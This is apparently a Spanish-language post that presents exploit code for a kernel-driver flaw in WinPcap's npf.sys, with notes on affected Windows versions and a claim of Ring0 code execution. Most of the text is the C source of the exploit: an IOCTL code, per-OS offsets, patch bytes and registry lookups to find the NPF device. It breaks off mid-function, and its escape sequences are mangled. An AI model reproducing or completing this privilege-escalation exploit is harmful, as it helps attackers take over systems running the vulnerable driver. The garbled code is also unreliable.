Este exploit ha estado a la venta por 600 € desde el 24 de Abril del 2007.
El fallo está en el driver npf.sys de las librerias de captura de paquetes WinPcap. Está probado y testeado con WinPcap 3.1 y la beta 4.1 Funciona con Windows XP+SP2, 2000 server y workstation, Windows 2003 Server y Windows Vista. Si utilizas RunAs para ejecutar Wireshark por ejemplo, y no descargas manualmente el driver tras utilizarlo; con este exploit puedes cargar y ejecutar código en Ring0. Por lo tanto, tu código se ejecuta en Kernel Mode.
/*Vulnerability discovered by:
Mario Ballano Bárcena, mballano[_at_]gmail.com
http://www.48bits.com/
24, April 2007
*/
#define _CRT_SECURE_NO_DEPRECATE
#include <windows.h>
#include <stdio.h>
#define IOCTL_BIOCGSTATS 9031
#define OUT_SIZE 0x10
#define NDRIVERS_LIST 100
enum OSes
{
OS_WXP=1,
OS_W2K,
OS_W2K3,
OS_VISTA
};
#define WXP_DELTA 0xA67FF; // SP2 Fully patched!!
#define W2K_DELTA 0x0;
#define W2K3_DELTA 0x0;
#define WVISTA_DELTA 0x0;
DWORD g_dwOsVersion = 0;
LPVOID g_PatchAddress = NULL;
LPBYTE g_WXP_PATCH_BYTES = "x80x83xffx2Cx75x2Fx53xE8xE1xA2xF7xFFx89x45xDCx85";
LPBYTE g_W2K_PATCH_BYTES = "xCCxCCxCC";
LPBYTE g_W2K3_PATCH_BYTES = "xCCxCCxCC";
LPBYTE g_WVISTA_PATCH_BYTES = "xCCxCCxCC";
typedef BOOL (WINAPI *PENUMDEVICES)(LPVOID*,
DWORD ,
LPDWORD);
typedef DWORD (WINAPI *PGETDEVNAME)(LPVOID ImageBase,
char *lpBaseName,
DWORD nSize);
typedef DWORD (WINAPI* PQUERYSYSTEM)(UINT, PVOID, DWORD,PDWORD);
BOOL GetNpfDevice (char *lpNpfDevice)
{
DWORD cb,lpType;
char *lpList,*tmp;
HKEY hkey;
BOOL bRes = FALSE;
lpList = malloc(0x1000);
memset(lpList,0,0x1000);
cb = 0x1000;
if ( RegOpenKeyExA(HKEY_LOCAL_MACHINE,"SOFTWARE\Microsoft\EAPOL\Parameters\General",0,KEY_READ,&hkey) == ERROR_SUCCESS )
{
printf("AQUI");
if ( RegQueryValueExA( hkey,
"InterfaceList",
0,
&lpType,
lpList,
&cb) == ERROR_SUCCESS )
{
strcpy(lpNpfDevice,"\\.\NPF_");
while(*lpList && *lpList !=''{'') lpList++;
tmp = lpList;
while(*lpList && *(lpList) != ''}'') lpList ++;
*(++lpList) = ''